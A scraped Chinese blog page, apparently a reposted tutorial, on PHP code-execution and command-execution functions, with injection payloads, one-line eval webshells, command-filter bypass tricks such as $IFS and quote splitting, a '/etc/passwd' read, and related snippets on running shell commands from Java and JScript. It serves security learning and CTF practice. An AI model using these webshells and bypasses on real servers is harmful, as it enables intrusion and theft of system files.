精华内容
下载资源
问答
  • 代码执行命令执行

    千次阅读 2019-09-27 16:01:00
    代码执行命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_arr...


    看到一位大佬写的一篇关于代码执行和命令注入的短文章,还挺实用,尤其是对于我们这些新手来说,所以拿来分享

    内容引自:链接地址

    0x01 代码执行

    代码执行概念

    远程代码执行实际上就是调用服务器网站代码进行执行。

    执行方法

    1.eval

    eval():将字符串当做函数进行执行(需要传入一个完整的语句),执行后会输出一个hello
    demo:
    <?php
    eval(‘echo “hello”;’);
    ?>

    2.assert

    assert():判断是否为字符串,是则当成代码执行
    低版本的demo:

    	<?php assert($_POST['a']);?>
    
    • 1

    php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
    7.0之后的demo:

    	<?php
    	$a = 'assert';
    	$a(phpinfo());
    	?>
    
    • 1
    • 2
    • 3
    • 4

    3.call_user_func

    call_user_func():回调函数,可以使用is_callable查看是否可以进行调用

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = 'system';
    	$b = 'pwd';
    	call_user_func($a,$b);
    	call_user_func('eval','phpinfo()');
    	?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval…

    4.call_user_fuc_array

    call_user_fuc_array():回调函数,参数为数组

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$array[0] = $_POST['a'];
    	call_user_func_array("assert",$array); 
    	?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    5.create_function

    create_function():创建匿名函数

    string create_function(string $args,string $code)

    args是要创建的函数的参数,code是函数内的代码

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = create_function('$code', 'echo $code');
    	$b = 'hello';
    	$a($b);
    
    $a = 'phpinfo();';
    $b = create_function(" ", $a);
    $b();
    ?&gt;
    

      6.preg_replace

      preg_replace():当为/e时代码会执行,前提是不超过php7

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = 'phpinfo()';
      	$b = preg_replace("/abc/e", $a, 'abc');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      7.array_map

      array_map():为数组的每个元素应用回调函数

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = $_GET['a'];
      	$b = $_GET['b'];
      	$array[0] = $b;
      	$c = array_map($a,$array);
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      用法:/?a=assert&b=phpinfo();

      8.array_filter

      array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含

      在返回的结果数组中。数组的键名保留不变。

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$array[0] = $_GET['a'];
      	array_filter($array,'assert');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      9.usort

      usort():使用自定义函数对数组进行排序

      demo:

      	<?php
      	highlight_file(__FILE__);
      	usort(...$_GET);
      	#usort($_GET[1],'assert');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      …$GET是php5.6引入的新特性。即将数组展开成参数的形式
      用法:

      	1[]=phpinfo()&1[]=123&2[]=assert
      
      • 1

      大致过程:

      大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数

      assert,其调用了第一个参数中的phpinfo();

      10.${}

      ${}:中间的php代码将会被解析

      demo:

      	<?php
      	highlight_file(__FILE__);
      	${phpinfo()};
      	?>
      
      • 1
      • 2
      • 3
      • 4

      代码执行例题
      题目:

      	<?php
      	highlight_file(__FILE__);
      	$price = $_GET['price'];
      	$code = 'echo $name.'.'的价格是'.$price.';';
      	$b = create_function('$name', $code);
      	$b('iphone');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      代码逻辑很清楚,调用b这个匿名函数,参数为iphone。

      在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:

      	function b($name){
      	 echo $name.'.'的价格是'.$price;
      	}
      
      • 1
      • 2
      • 3

      所以最后构造payload为:123;}phpinfo();/*

      那么传入后代码就会变成下面这样:

      	function b($name){
      	 echo $name.
      	     }phpinfo();/*'.'的价格是'.$price;
      	}
      
      • 1
      • 2
      • 3
      • 4

      0x02 命令执行

      命令执行概念

      通过易受攻击的应用在主机上执行任意命令。

      命令执行常见函数

      1.system

      system:可以执行系统命令并将其输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	system('pwd');
      	system('whoami');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      2.exec

      exec:执行命令,但无输出,可以使用output进行输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	exec('pwd',$b);
      	var_dump($b);
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      3.passthru

      passthru:执行命令并输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	passthru('ls');
      	?>
      
      • 1
      • 2
      • 3
      • 4

      4.shell_exec

      shell_exec:执行命令,但无回显

      demo:

      	<?php
      	highlight_file(__FILE__);
      	var_dump(shell_exec('ls'));
      	?>
      
      • 1
      • 2
      • 3
      • 4

      5.反引号

      反引号:执行shell命令,并返回输出的字符串

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = 'pwd';
      	echo `$a`;
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      6.ob_start

      ob_start:打开输出控制缓冲

      demo:

      	<?php
      	highlight_file(__FILE__);
      	ob_start("system");
      	echo "whoami";
      	ob_end_flush();
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      0x03 绕过

      1.常见分隔符

      	•	换行符 		 %0a
      	•	回车符		 %0d
      	•	连续指令 	 ;
      	•	后台进程 	 &
      	•	管道符		 |
      	•	逻辑 	||	 &&
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      2.绕过空格

      	•	$IFS
      	•	<
      	•	${IFS}
      	•	$IFS$9
      	•	%09
      
      • 1
      • 2
      • 3
      • 4
      • 5

      3.各类符号

      即使用”substr string pos len“的方法进行取字符

      demo:

      	echo "${PATH:0:1}"
      	echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
      	echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
      	expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
      	•	%0a
      	•	%0d
      	•	%00
      	•	%20
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

      4.敏感字符绕过

      变量绕过

      	a=l,b=s;$a$b
      
      • 1

      base64编码绕过

      	echo 'cat' | base64
      
      • 1

      未定义的初始化变量

      	cat$b /etc/passwd
      
      • 1

      连接符

      	cat /etc/pass’w’d
      
      • 1

      使用通配符:

      如:

      /???/?s --help
      
      • 1

      题目地址:http://moectf.cn:10012/

      payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);

    展开全文
  • eval()函数system()函数的区别(代码执行和命令执行)


    今天写命令执行博客的时候发现eval函数和system函数两者用起来有很大区别,这才记起来以前学到过eval是代码执行而system是命令执行,时间太久都忘记了,所以再复习一遍。

    虽然代码执行漏洞和命令执行漏洞在提交漏洞时分的没那么详细,但我们在学习时还是要学会区分不同的概念。

    eval()函数和system()函数的比较

    eval类型函数是代码执行而不是命令执行(一句话木马)

    system类型函数是命令执行而不是代码执行

    eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()'d code

    <?php
        eval("echo 1+1;");    //2
        system("echo 1+1;");  //1+1;
    ?>
    
    <?php
        $num=1;
        eval("\$a = $num;");    //有效,$a=1
        system("\$b = $num;");  //无效,$b=NULL  
    ?>
    
    <?php
        eval("phpinfo();");   //phpinfo()被执行
        system("phpinfo()");  //phpinfo()不被执行
    ?>
    
    <?php
        system("whoami");    //whoami命令被执行
    	eval("whoami");      //whoami命令不被执行
    ?>
    

    代码执行函数:

    1-eval
    <?php eval($_POST["cmd"]) ?>
    
    2-assert
    <?php assert($_POST["cmd"]) ?>
    
    3-call_user_func
    <?php
        call_user_func($_POST["fun"],$_POST["para"])
    ?>
    //post:fun=assert&para=phpinfo();
    
    4-create_function
    <?php 
        $a= $_POST['func'];
        $b = create_function('$a',"echo $a");
        $b('');
    ?>
    //post:func=phpinfo();
    
    5-array_map
    <?php
        $array = array(0,1,2,3,4,5);
        array_map($_GET['func'],$array);
    ?>
    //post:func=phpinfo
    

    命令执行函数:

    1-system
    <?php system($_POST["cmd"]);?>
    
    2-passthru
    <?php passthru($_POST["cmd"]);?>
    
    3-exec
    <?php echo exec($_POST["cmd"]);?>
    
    4-pcntl_exec
    <?php 
        pcntl_exec("/bin/bash",array($_POST["cmd"]));
    ?>
    
    5-shell_exec
    <?php echo shell_exec($_POST["cmd"]); ?>
    
    6-popen()/proc_popen()
    <?php $handle = popen("/bin/ls","r");?>
    
    7-``
    <?php echo `whoami`?>
    
    8-
    <?php
    	$cmd = 'system';
    	ob_start($cmd)
    	echo "$_GET[a]";
    	ob_end_flush();
    ?>
    //?a=whoami
    
    展开全文
  • Java代码执行shell命令

    千次阅读 2019-09-24 21:21:11
    Java代码执行shell命令 本文描述两种方式使用java代码执行shell命令,首先使用Runtime类调用exce方法,其次使用ProcessBuilder实例实现更灵活的方式。 1. 环境准备 执行shell命令之前,我们需要获取jvm底层操作系统...

    Java代码执行shell命令

    本文描述两种方式使用java代码执行shell命令,首先使用Runtime类调用exce方法,其次使用ProcessBuilder实例实现更灵活的方式。

    1. 环境准备

    执行shell命令之前,我们需要获取jvm底层操作系统,同时定义通用消费流的类。

    1.1. 操作系统依赖

    在创建进场执行shell命令之前,我们需要获取jvm运行在具体哪个操作系统之上。因为Windows执行shell命令是cmd.exe,而其他操作系统发布标准shell是sh:

    boolean isWindows = System.getProperty("os.name").toLowerCase().startsWith("windows");
    

    1.2. 输入和输出

    此外我们还需要一种方法来连接进程的输入、输出流。直到输出流被消费进程才会返回成功,否则会挂起。下面实现通用类StreamGobbler消费InputStream:

    private static class StreamGobbler implements Runnable {
        private InputStream inputStream;
        private Consumer<String> consumer;
     
        public StreamGobbler(InputStream inputStream, Consumer<String> consumer) {
            this.inputStream = inputStream;
            this.consumer = consumer;
        }
     
        @Override
        public void run() {
            new BufferedReader(new InputStreamReader(inputStream)).lines()
              .forEach(consumer);
        }
    }
    

    该类实现Runnable接口,意味着能够被任何Executor执行。

    2. Runtime.exec()执行

    Runtime.exec()方法是一种生成新子进程的简单方法,但不能定制。下面示例列出用户目录的目录清单并打印至控制台:

    String homeDirectory = System.getProperty("user.home");
    Process process;
    if (isWindows) {
        process = Runtime.getRuntime()
          .exec(String.format("cmd.exe /c dir %s", homeDirectory));
    } else {
        process = Runtime.getRuntime()
          .exec(String.format("sh -c ls %s", homeDirectory));
    }
    StreamGobbler streamGobbler = 
      new StreamGobbler(process.getInputStream(), System.out::println);
    Executors.newSingleThreadExecutor().submit(streamGobbler);
    int exitCode = process.waitFor();
    assert exitCode == 0;
    

    3. ProcessBuilder执行

    第二种方法使用ProcessBuilder。这比Runtime方法更可取,因为能够定制一些细节。
    例如:

    • 改变正在运行Shell命令的工作目录,使用builder.directory()方法
    • 使用builder.environment()方法,设置自定义键值对作为环境变量
    • 重定向输入和输出流值自定义流
    • 使用build.inheritio()方法将它们都继承到当前JVM进程的流中
    ProcessBuilder builder = new ProcessBuilder();
    if (isWindows) {
        builder.command("cmd.exe", "/c", "dir");
    } else {
        builder.command("sh", "-c", "ls");
    }
    builder.directory(new File(System.getProperty("user.home")));
    Process process = builder.start();
    StreamGobbler streamGobbler = 
      new StreamGobbler(process.getInputStream(), System.out::println);
    Executors.newSingleThreadExecutor().submit(streamGobbler);
    int exitCode = process.waitFor();
    assert exitCode == 0;
    

    4. 总结

    本文介绍了两种不同方法执行Shell命令。通常如果需要自定义派生流程的执行,例如更改其工作目录,则应考虑使用ProcessBuilder。

    展开全文
  • Java代码执行Linux命令

    千次阅读 2017-10-20 16:45:05
    Java代码执行Linux命令: 编写Java代码,之后部署到Linux系统当中进行执行Linux命令。 cmd数组的第三个位置是Linux命令字符串,如:ls , ps -elf 等等。将Java代码导出成可运行的jar包,Linux命令执行:java -jar ...

    Java代码执行Linux命令:
    编写Java代码,之后部署到Linux系统当中进行执行Linux命令。
    cmd数组的第三个位置是Linux命令字符串,如:ls , ps -elf 等等。将Java代码导出成可运行的jar包,Linux命令执行:java -jar test.jar即可。

    public static void main(String[] args) {
            String[] cmd = { "/bin/sh", "-c", "netstat -anp " };
            InputStream in = null;
            String result = null;
            try {
                Process pro = Runtime.getRuntime().exec(cmd);
                pro.waitFor();
                in = pro.getInputStream();
                BufferedReader read = new BufferedReader(new InputStreamReader(in));
                while((result = read.readLine())!=null) {
                    System.out.println(result);
                }
            } catch (IOException e) {
                e.printStackTrace();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
    
        }

    运行结果如下:
    这里写图片描述

    展开全文
  • 命令执行和代码执行漏洞

    千次阅读 2018-12-06 22:19:15
    代码执行漏洞也叫代码注入漏洞,指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行...
  • 1用js代码执行cmd命令,创建ActiveXObject对象,在cmd.exe /c 后面直接写你要执行的cmd命令 try { var objShell = new ActiveXObject("WScript.Shell"); iReturnCode = objShell.Run("cmd.exe /c adb forward ...
  • java 代码执行linux命令

    千次阅读 2019-04-25 16:11:21
    远程执行linux命令代码 代码不是在服务器部署时,但是需要执行这个服务器的linux命令 package com.demo.common.linux; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; ...
  • 命令执行代码执行函数

    千次阅读 2018-10-10 12:18:19
    命令执行函数 system () exec() shell_exec() passthru() popen() proc_popen() 代码执行函数 eval assert preg_replace call_user_func
  • Java代码执行linux命令

    千次阅读 2018-12-04 16:30:06
    java代码是在windows下面写的,要打包放到linux下面运行,并且执行某个脚本。 java代码:  try {  // 起作用的代码其实就下面这一行, 参数是linux中要执行代码 Runtime.getRuntime().exec("sh ...
  • 命令执行&代码执行漏洞

    千次阅读 2019-08-21 13:41:40
    一、命令执行漏洞 0x01 命令执行漏洞 应用有时需要调用一些执行系统命令...调用的第三方组件存在代码执行漏洞 0x03 常用命令执行函数 (1) system () 该函数会把执行结果输出,并把输出结果的最后一行作为字符...
  • PHP执行git命令更新代码

    千次阅读 2020-01-02 10:32:58
    在测试环境立马就能看到是什么样的,我们可以通过git仓库的webhook钩子配置的,在推送代码到git仓库的时候,仓库收到代码,然后可以访问一个url,然后你在这个url写段代码执行更新代码的命令。 php 代码 <?php ...
  • Android中使用代码执行shell命令

    万次阅读 2014-04-17 23:38:35
    随时随地阅读更多技术实战干货,获取项目源码、学习资料,请关注源代码社区公众号(ydmsq666)、博主微信(guyun297890152)、QQ技术交流群(183198395)。 Android执行shell命令 一、方法 /** * 执行一个...
  • 查找资料的时候发现有两种调用方式: 第一种: ... process = processBuilder.start();...第一种在执行的时候会出现缺少环境的问题,第二种可以正常使用,但是使用su命令的时候还是有问题;
  • 我们有的时候需要去到Android系统的一个linux终端(adbshell)里面来执行一些命令,以便于查看部分文件内容或者修改部分文件权限等需求,通常我们可以使用Android studio自带的terminal工具运行先adb shell 命令来...
  • 1、java代码执行maven命令:调用maven接口  1)首先下载maven-invoker.jar &lt;dependency&gt; &lt;groupId&gt;org.apache.maven.shared&lt;/groupId&gt; &lt;artifactId&gt;...
  • title: 命令执行-代码执行漏洞学习 date: 2016-04-30 16:51:13 categories: 安全 tags: Web安全 ** 命令执行 ** 在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的...
  • 使用Java代码运行系统命令/shell命令, 并获取输出结果。
  • 用java代码执行linux命令(shell脚本)

    千次阅读 2020-04-27 09:14:25
    在windows下面编写java代码,然后打包放到Linux下面运行,并且执行某个脚本。 Runtime.getRuntime().exec("xxx.sh").waitFor(); 通过RunTime.getRuntime().exec()调用服务器命令脚本来执行。 用法: // 在单独的...
  • Golang 通过代码执行命令

    千次阅读 2018-04-24 20:27:42
    有时需要通过代码执行一些系统命令来获取信息,golang 提供exec.Command来实现这一目的。 shtest.go package main import ( "fmt" "os/exec" "strings" ) func exeSysCommand...
  • Android Java代码执行adb Shell命令

    万次阅读 2015-01-19 14:07:54
    Android Java代码执行adb Shell命令 通过java代码代替adb命令 增加工具类 ShellUtils.java import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.IOException; import java.io....
  • php中代码执行&&命令执行函数

    千次阅读 2019-05-06 13:32:00
    命令执行函数 转自i春秋 1、eval()函数 #传入的参数必须为PHP代码,既需要以分号结尾。 #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POST['cmd']);?> 那么当我们上传了eval函数...
  • <?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >...var r = new ActiveXObject("WScript.Shell").Run("cmd /k ipconfig")...
  • 1、能在adb shell中运行的命令都可以用Java代码执行; 2、只要是Root过的手机就一定能获取su权限; 之所以称之为误区是因为在实际使用过程中发现了走不通的地方,也就是个人在目前还没有找到其他的方案来解决,...
  • JAVA代码执行shell命令2011-06-07 20:48:20 在Android可能有的系统信息没有直接提供API接口来访问,为了获取系统信息时我们就要在用shell指令来获取信息,这时我们可以在代码中来执行命令 ,这里主要用到...
  • c/c++代码执行cmd命令

    万次阅读 2016-05-19 17:04:56
    c/c++代码执行cmd命令
  • JAVA代码实现执行CMD命令

    千次阅读 2016-10-27 14:35:17
    cmd /c dir 是执行完dir命令后封闭命令窗口。?cmd /k dir 是执行完dir命令后不封闭命令窗口。?cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会封闭。?cmd /k start dir 会打开一个新窗口后执行dir指令,...
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对...上传jsp木马所造成的远程代码执行漏洞。 知默认情况下是禁止http请求...
  • adb命令执行java代码

    千次阅读 2017-12-28 16:03:28
    使用adb命令让Android设备执行java代码

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,423,835
精华内容 569,534
关键字:

代码执行和命令执行区别